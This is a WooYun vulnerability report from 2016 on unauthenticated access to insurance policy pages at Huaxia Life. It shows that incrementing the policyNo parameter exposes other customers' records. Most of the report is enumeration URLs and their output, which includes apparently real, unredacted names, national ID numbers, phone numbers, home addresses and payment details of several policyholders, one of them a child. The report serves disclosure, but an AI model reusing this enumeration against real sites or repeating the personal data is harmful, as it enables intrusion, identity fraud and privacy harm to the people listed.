当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2016-0204595

漏洞标题：华夏人寿某站安全漏洞导致大量用户保单信息泄露（含保单号/投保人/被保人/身份证/联系电话/地址)

相关厂商：华夏人寿保险股份有限公司

漏洞作者： 0x 80

提交时间：2016-05-03 15:21

修复时间：2016-06-18 08:10

公开时间：2016-06-18 08:10

漏洞类型：敏感信息泄露

危害等级：高

自评Rank：20

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2016-05-03： 细节已通知厂商并且等待厂商处理中
2016-05-04： 厂商已经确认，细节仅向厂商公开
2016-05-14： 细节向核心白帽子及相关领域专家公开
2016-05-24： 细节向普通白帽子公开
2016-06-03： 细节向实习白帽子公开
2016-06-18： 细节向公众公开

简要描述：

华夏人寿某站安全漏洞导致大量用户保单信息泄露（含保单号/投保人/被保人/身份证/联系电话/地址)

详细说明：

http://eservice.hxlife.com/Policy/policyContent.do?policyNo=2015137350421088

捕获.GIF


这里直接未授权访问

保单详细信息
保单号 	2015137350421088 	保单状态 	有效
主附险标志 	主险 	险种名称 	华夏财富一号两全保险C款（万能型，升级版）
保险期间 	75岁 	基本保额 	0.00
期交保费 	23000.00 	已交费期数 	1
是否自动续保 	非自动续保


投保人信息
投保人姓名 	徐苑珍 	性别 	女
证件类型 	居民身份证 	证件号码 	44142719530825032X
出生日期 	1953-08-25 	联系电话 	13431080800
电子邮箱 		邮政编码 	510600
联系地址 	中国广东省广州市白云区人和溪苑B7栋602


被保人信息
与投保人关系 	本人 	被投保人姓名 	徐苑珍
性别 	女 	出生日期 	1953-08-25
证件类型 	居民身份证 	证件号码 	44142719530825032X
联系电话 	13431080800 	电子邮箱 	
邮政编码 	510600 	联系地址 	中国广东省广州市白云区人和溪苑B7栋602


由于ID未加密，经过分析修改即可查看任意其他人的保单信息
2015137350521088，ID未加密，依次类推逻辑
http://eservice.hxlife.com/Policy/passiveQuery.do?policyNo=2015137350521088

被保人信息
与投保人关系 	本人 	被投保人姓名 	王玉全
性别 	男 	出生日期 	1954-07-14
证件类型 	居民身份证 	证件号码 	41292419540714071X
联系电话 	13949375962 	电子邮箱 	
邮政编码 	473000 	联系地址 	中国河南省南阳市卧龙区谢庄乡孙庄村秋树庄22号


投保人姓名 	王玉全 	性别 	男
证件类型 	居民身份证 	证件号码 	41292419540714071X
出生日期 	1954-07-14 	联系电话 	13949375962
电子邮箱 		邮政编码 	473000
联系地址 	中国河南省南阳市卧龙区谢庄乡孙庄村秋树庄22号


保单号 	2015137350521088 	保单状态 	有效
主附险标志 	主险 	险种名称 	华夏财富一号两全保险C款（万能型，升级版）
保险期间 	75岁 	基本保额 	0.00
期交保费 	15000.00 	已交费期数 	1
是否自动续保 	非自动续保


http://eservice.hxlife.com/Policy/policyContent.do?policyNo=2015137350621088

捕获111.GIF


与投保人关系 	女儿 	被投保人姓名 	左原
性别 	女 	出生日期 	2009-07-15
证件类型 	居民户口薄 	证件号码 	510603200907150989
联系电话 		电子邮箱 	
邮政编码 	618000 	联系地址 	中国四川省德阳市旌阳区南滨佳苑A区2-13-1


受益人姓名 	左原 	性别 	女
证件号码 	510603200907150989 	证件类型 	居民户口薄
固定电话 	13981091993 	出生日期 	2009-07-15


险种名称 	华夏金管家年金保险（万能型，C款） 	主副险标识 	1
交费类型 	首期收 	交费方式 	银行转账
应交金额 	0.00 	实交金额 	0.00
已交保费次数 	1 	累计已交保费 	10000.00
下次交费日期 		下次交费金额 	0.00
应交日期 	2015-11-20 	实交日期 	20151120
险种名称 	华夏金管家年金保险（万能型，C款） 	主副险标识 	1
交费类型 	首期收 	交费方式 	银行转账
应交金额 	0.00 	实交金额 	0.00
已交保费次数 	1 	累计已交保费 	10000.00
下次交费日期 		下次交费金额 	0.00
应交日期 	2015-11-20 	实交日期 	20151120
险种名称 	华夏金管家年金保险（万能型，C款） 	主副险标识 	1
交费类型 	首期收 	交费方式 	银行转账
应交金额 	0.00 	实交金额 	0.00
已交保费次数 	1 	累计已交保费 	15000.00
下次交费日期 	2016-11-21 	下次交费金额 	15000.00
应交日期 	2015-11-20 	实交日期 	20151120
险种名称 	华夏金管家年金保险（万能型，C款） 	主副险标识 	1
交费类型 	首期收 	交费方式 	银行转账
应交金额 	0.00 	实交金额 	0.00
已交保费次数 	1 	累计已交保费 	15000.00
下次交费日期 	2016-11-21 	下次交费金额 	15000.00
应交日期 	2015-11-20 	实交日期 	20151120


2015-11-21 	0 	首期缴费 	0.00 	0.00 	0.00 	
2015-11-21 	0 	生存金转入 	4140.00 	0.00 	4140.00 	
2015-12-01 	0.068 	结算利息 	7.47 	0.00 	4147.47 	
2016-01-01 	0.068 	结算利息 	23.24 	0.00 	4170.71 	
2016-01-06 	0 	追加保费 	10000.00 	0.00 	14170.71 	
2016-02-01 	0.068 	结算利息 	70.15 	0.00 	14240.86 	
2016-03-01 	0.068 	结算利息 	74.43 	0.00 	14315.29 	
2016-04-01 	0.068 	结算利息 	79.99 	0.00 	14395.28


http://eservice.hxlife.com/Policy/appntQuery.do?policyNo=2015137350622088


投保人姓名 	谭国亮 	性别 	男
证件类型 	居民身份证 	证件号码 	440111195312073612
出生日期 	1953-12-07 	联系电话 	13433995699
电子邮箱 		邮政编码 	510286
联系地址 	中国广东省广州市海珠区土华育贤左一巷19号


与投保人关系 	本人 	被投保人姓名 	谭国亮
性别 	男 	出生日期 	1953-12-07
证件类型 	居民身份证 	证件号码 	440111195312073612
联系电话 	13433995699 	电子邮箱 	
邮政编码 	510286 	联系地址 	中国广东省广州市海珠区土华育贤左一巷19号


受益人姓名 	谭国亮 	性别 	男
证件号码 	440111195312073612 	证件类型 	居民身份证
固定电话 	13433995699 	出生日期 	1953-12-07


http://eservice.hxlife.com/Policy/shouyimanQuery.do?policyNo=2015137350623088

投保人姓名 	黎敬民 	性别 	男
证件类型 	居民身份证 	证件号码 	440111194707063617
出生日期 	1947-07-06 	联系电话 	13622840945
电子邮箱 		邮政编码 	510320
联系地址 	中国广东省广州市海珠区仑头启明坊六巷5号


与投保人关系 	本人 	被投保人姓名 	黎敬民
性别 	男 	出生日期 	1947-07-06
证件类型 	居民身份证 	证件号码 	440111194707063617
联系电话 	13622840945 	电子邮箱 	
邮政编码 	510320 	联系地址 	中国广东省广州市海珠区仑头启明坊六巷5号


http://eservice.hxlife.com/Policy/passiveQuery.do?policyNo=2015137350624088


保单号 	2015137350624088 	保单状态 	有效
主附险标志 	主险 	险种名称 	华夏财富一号两全保险C款（万能型，升级版）
保险期间 	75岁 	基本保额 	0.00
期交保费 	200000.00 	已交费期数 	1
是否自动续保 	非自动续保


投保人姓名 	李国辉 	性别 	男
证件类型 	居民身份证 	证件号码 	440111195406303618
出生日期 	1954-06-30 	联系电话 	13922490868
电子邮箱 		邮政编码 	510300
联系地址 	中国广东省广州市海珠区逸景翠园御景轩B栋2303


与投保人关系 	本人 	被投保人姓名 	李国辉
性别 	男 	出生日期 	1954-06-30
证件类型 	居民身份证 	证件号码 	440111195406303618
联系电话 	13922490868 	电子邮箱 	
邮政编码 	510300 	联系地址 	中国广东省广州市海珠区逸景翠园御景轩B栋2303


http://eservice.hxlife.com/Policy/passiveQuery.do?policyNo=2015137350624+1逻辑查询上万用户订单088

漏洞证明：

http://eservice.hxlife.com/Policy/passiveQuery.do?policyNo=2015137350624+1逻辑查询上万用户订单088


http://eservice.hxlife.com/Policy/passiveQuery.do?policyNo=2015137350625088


http://eservice.hxlife.com/Policy/passiveQuery.do?policyNo=2015137350626088


http://eservice.hxlife.com/Policy/passiveQuery.do?policyNo=2015137350627088


http://eservice.hxlife.com/Policy/passiveQuery.do?policyNo=2015137350628088


http://eservice.hxlife.com/Policy/passiveQuery.do?policyNo=2015137350629088


http://eservice.hxlife.com/Policy/passiveQuery.do?policyNo=2015137350630088


http://eservice.hxlife.com/Policy/passiveQuery.do?policyNo=2015137350631088
http://eservice.hxlife.com/Policy/passiveQuery.do?policyNo=2015137350632088
http://eservice.hxlife.com/Policy/passiveQuery.do?policyNo=2015137350633088
http://eservice.hxlife.com/Policy/passiveQuery.do?policyNo=2015137350634088
http://eservice.hxlife.com/Policy/passiveQuery.do?policyNo=2015137350635088
http://eservice.hxlife.com/Policy/passiveQuery.do?policyNo=2015137350636088
http://eservice.hxlife.com/Policy/passiveQuery.do?policyNo=2015137350637088
http://eservice.hxlife.com/Policy/passiveQuery.do?policyNo=2015137350638088
http://eservice.hxlife.com/Policy/passiveQuery.do?policyNo=2015137350639088
http://eservice.hxlife.com/Policy/passiveQuery.do?policyNo=2015137350640088


修复方案：

版权声明：转载请注明来源 0x 80@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：11

确认时间：2016-05-04 08:01

厂商回复：

修复中

最新状态：

暂无

漏洞评价：

评价

  1. 2016-05-03 15:32 | Aasron ( 普通白帽子 | Rank:881 漏洞数:162 | raw_input("你知道我要输入什么？"))

    hello

  2. 2016-05-03 15:33 | 0x 80 ( 普通白帽子 | Rank:1817 漏洞数:503 | If we give enough, if we learn to trust ...)

    @Aasron 嗯